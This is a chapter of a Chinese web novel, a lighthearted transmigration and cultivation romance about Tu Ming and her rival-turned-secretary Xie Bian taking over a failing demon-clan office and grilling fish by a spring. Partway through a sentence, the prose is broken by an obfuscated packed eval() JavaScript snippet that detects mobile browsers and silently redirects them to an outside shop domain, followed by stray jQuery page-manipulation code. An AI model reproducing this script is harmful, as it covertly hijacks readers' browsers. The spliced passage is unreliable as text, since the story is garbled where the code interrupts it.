“你叫我什么?”今天已经看涂茗唱了不知道几台戏的谢边,满头黑线,终于忍无可忍。

    “你别杀他,我的丹药已经炼好了。”对于这种发生的小错误,作为领导自然不能对此揪着不放,自然也不能回答这个问题。

    听了这话,谢边闭了闭眼,知晓对方意图的自己艰难忍下涂茗刚占的便宜。

    手一抖扯动了困住凶兽的阵法,被收紧的阵法束缚着的凶兽随即发出痛苦的嚎叫。

    涂茗可不管谢边是不是在腹诽什么,毕竟自己可是领导,自然有容人的肚量。

    只是故作高深莫测,大大方方向凶兽走去。

    小系统在一顿乱翻之后,终于终于找到了。下一秒涂茗手心出现一颗丹药,隐隐还散发着清香。

    看着对方变魔术般变出个丹药,谢边隐隐察觉到什么,挑了挑眉,心中某个想法更确定了,意味深长地看了对方一眼,错身让路。

    涂茗见谢边识时务的不反对,暗自点头认可,径直往白虎的方向走去。

    与涂茗面上端着的一副大佬做派不同,她往前每走一步都能清晰的感受到凶兽压迫的气场和与自己天差地别的妖力。

    再近些,从阵法中溢出的妖力,开始无差别的攻击自己。

    涂茗躲避不及,脸、耳朵、手臂都破了好几道口子。

    终于挪到了白虎面前,趁着他痛苦低吼而张嘴的间隙,把丹药塞了进去。

    系统给的丹药见效很快。

    原本外泄的妖力忽得停了,另一股柔和的力量将白虎包裹。

    涂茗转头看向谢边,对方若有所思,却不意外。

    在白虎终于稳定下来,隐约要化为人形时,后者收回了阵。

    眼前的白虎消失了,取而代之的是一位气场威严,面目慈祥的老叟。见到他们两人,老叟露了笑。

    “没想到啊没想到啊。”老叟摸摸下巴上的胡子,“竟是你们两个小娃娃救了老夫。后生可畏啊,后生可畏!”

    “老夫名为荣苍,乃此处的主人。”荣苍看向涂茗,“你们可有什么想要的?”

    荣苍!那不就是和自己交接工作的前辈!

    “前辈,我是涂茗。”涂茗自报家门。

    对面的人一改刚刚故作高深的模样,反而一副他乡遇故知的亲切。

    “哎呀,系统终于终于把接班人给我派来了,好好好啊。”鹤发童颜的老头此刻正激动地拉过涂茗的手,这模样怎么看怎么滑稽。

    又转头看向谢边,后者会意,马上上前一步,“在下谢边,工作和她一样。”谢边随手指了指涂茗。

    “谢!边!还真是你!我就说怎么会有长的这么像的人。”涂茗恶狠狠瞪着对方,“你都认出我了,为什么不提醒我!”

    一想到刚刚自己没认出来他而干的一堆丑事,涂茗大囧。

    谢边,涂茗上辈子的死对头,别人家的小孩。

    因为他们俩爸妈都是一个单位的,从小到大涂茗天天被拉去比较。

    而谢边这个死装男,前脚在长辈面前还是“没有,没有这次运气好,还很有提升空间”的谦逊模样,后脚对涂茗就是一副小人得志的嘴脸。

    “真是难过,我也没想到,你竟然没认出我。”谢边轻飘飘地道歉。

    “那更好了,你们俩还认识,都是同事了,以后一起好好干啊。”荣苍见此更高兴,随手拂过一片云,似乎是施了什么法术,转眼三人就到了一处宅院,门前的一块石头上歪歪扭扭刻着:妖族振兴办。

    “这就是我们单位了,资料都在里面,随你们折腾。” 荣苍感叹般丢下一句“我退休了”,便迫不及待离开。

    留下面面相觑的两人。

    “说说吧,你怎么来的。”谢边看着不远处的宅院,眯了眯眼。

    “还能怎么,加班猝死的呗。”涂茗撇了撇嘴。

    两人往里走,有一搭没一搭得聊着。

    涂茗才知道,不同于自己这种借尸还魂,谢边是胎穿的,已经来这里20年了。

    是上华宗内门的一名器修。

    呵呵,来这里还修仙了,感觉更能装了。

    “我是前几天突然被告知的,要来这与同事会和,没想到......”会是你。

    谢边好似很无奈地叹了口气,“我们真是很有缘了。”

    “停停停,不是能简单称之为同事,小谢同志,你是组织派给我的秘书,严格意义上,我可是你的领导。”涂茗故意加重了“领导”两个字,一副耀武扬威的小人得志模样。

    谢边不说话,就干看着,并回以一个不尴尬的假笑。

    切~

    这座宅院倒是很大,建在这座荒山之中,位置很隐蔽。宅院本身很大,半旧不新,只有最前面的几个房间堆满了各种物件和资料,其余的都是空的。

    两人一前一后走进去,正中间有一张很大的木质书桌,上面摆满了竹简,涂茗随意打开其中一份,惊呆了。

    这份竹简里头是一份A4纸的报表,这个A4纸并不是粘在竹简上的,好似是这个竹子里头就是这样。

    涂茗连翻了好几份竹简,里头都是这般暗藏玄机,唯一美中不足的是所有的数据都在明晃晃的显示,这个单位年复一年的亏损状况。

    真是个烂摊子啊。

    这些个竹简虽然杂乱地堆在书桌的中间,但是围着书桌上的四个位置前都有一缸水和一块悬浮的透明“玻璃”。

    谢边走到其中一个位置前,随手把一份竹简扔进去,几乎瞬间,里头的字就消失了。似乎意识到什么,他捞出刚刚清空的竹简,将其放置在悬浮“玻璃”下,又在“玻璃”上随手写下“涂茗”。

    几乎同时,空竹简上也出现“涂茗”两个字。

    “这是——办公电脑?”涂茗也到一台“电脑”前坐下,刚将手接触到“玻璃”,桌面上自动出现了一个键盘,是的没错,就是在现代极其常见的那种键盘。

    “这倒是还挺先进的。”涂茗随口赞道。

    谢边也同样惊讶,赞同地点点头。

    忽然,正对着门的那面墙突然出现一个醒目的红色倒计时:【距离任务结束还有664日7时】

    涂茗、谢边:......

    提醒就提醒,为什么要搞的像高考倒计时一样啊,会ptsd 的啊。

    正要说话,肚子先开了口。

    一声悠长的、毫不客气的咕噜声,在房间里回荡开来。

    涂茗:“……”

    她难得有些尴尬地捂住肚子,耳尖微微发热。

    可是转念一想,从穿过来到现在一直在为他们的振兴事业忙乎,她可是一点没偷懒。

    忘记吃饭是不对的,但是为了事业忘记是光荣的。

    一抬头对上谢边满眼的揶揄,涂茗找到理由,很有立场,忍不住怼道:“会饿是人之常情啊,而且我是因为我们的振兴事业忙忘的。”

    一张小脸上写满了“快夸我”,完了还颐指气使,“谢秘书,快去准备晚饭!”

    谢边挑眉,没应,转身出门,径直往台地下方的山林西侧走去。

    涂茗如今更看不得对方这副装装的样子,她要监工,也跟上去。

    两人沿着台地西侧的一条小路往下走,穿过一片低矮的灌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746706|209308||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    木丛,耳边的水声越来越清晰。再顺着水流声转过一处山石,眼前出现了一小片泉潭。

    潭水是从山壁的石缝里渗出来的,汇聚成一小汪清澈见底的泉水,又从另一端溢出去,沿着山势往下淌成一条细流。

    泉边生着几丛野生的菖蒲,空气里弥漫着湿润的水汽和草木的清香。

    谢边在潭边蹲下来,挽起袖口,露出一截白皙的小臂。

    他的手探进水里,静止了片刻,然后猛地一捞,“接着。”

    涂茗没反应过来,一条巴掌大的鱼被甩上了岸,在碎石地上扑腾了两下。

    再看去时,几颗溅起的水珠点缀了对方带笑的眉眼,让她晃了神。

    不到一盏茶的功夫,他又捞上来两条鱼,都不大,但胜在都很肥美。

    涂茗很乖巧地蹲在岸边,两只手托着腮,看他手脚利落地处理鱼。

    刮鳞、去内脏、清洗,动作干净利落。

    谢边会做饭,涂茗一直都是知道的,毕竟他们两家爸妈很熟,以前他们放学后没空回来做饭就叫他们一起出去吃。

    而谢边当时大概是针对自己,很看不惯自己喜欢的路边小摊,涂茗偷吃几次被发现都是因为对方打的小报告。

    谢边这个小人,从小就爱打小报告,罪不容诛!!!

    后来自己一气之下放学再不和谢边一块走了,他可能是略感愧疚,于是学会了做饭。

    不过如今看这技术,似乎更好了。

    “你来这之后也自己做饭吗?也这样出去抓鱼?你需不需要自己种地啊,或者去你那个宗门的后山挖野菜?”涂茗实在好奇。

    “宗门有食堂。”谢边恍若看白痴地瞥了她一眼,顺手把处理好的鱼放一旁用几片洗净的叶子包好。

    随后,他在潭边找了一块平整的石面,又从周围捡了些干柴枯枝,三两下搭了个简易的柴堆。

    伸出两指,指尖亮起一小簇灵光,往柴堆上一弹,火就着了。

    火光照亮了谢边半张脸,涂茗蹲在火堆另一边,等开饭。

    鱼被架到火堆上方,鱼皮在高温下微微卷起,发出细微的滋滋声,油脂滴落到火里,爆出一串火花。

    鱼烤得不算快,但是香味很快飘出来,着实诱人。

    谢边垂着眼,眼瞧着差不多,把鱼翻了个面。

    两人都没有说话,空气一时间有些沉默。

    不久,香味更浓了,见差不多了,谢边把鱼递给涂茗,施舍般,“怕你饿死。”

    涂茗本来盯着火堆出神,她有点想家了,整个人都耷拉下来。可被谢边这个一打断,积攒的情绪一哄而散。

    她翻了个白眼,极顺手地接过。

    鱼皮烤得焦脆,鱼肉鲜嫩多汁,除了没有盐,简直是完美。

    不吃白不吃。

    见涂茗大口开吃,谢边伸手把火堆拨了拨,让火烧得更旺一些。

    火光映在两个人脸上,把他们的影子拉得老长,在身后的山石上交叠在一起。

    天边最后一抹光也彻底消失了,星星一颗一颗地从深蓝色的天幕里冒出来。

    山风穿过松林,带来远处溪水的声音。

    涂茗把鱼骨头用叶子包好,起身去潭边洗手。

    往回走的路上,她边甩手上的水,边对谢边下达任务:“一会回去还要整理之前的......”

    几滴水似乎甩到了谢边手上,他搓了几下,很快就只剩一点潮意。

    见涂茗这模样,谢边一脸无语,马上打断:“主任,你又不发加班费。”

    转身溜回房前还补刀一句:“早点休息吧,别又猝死了”。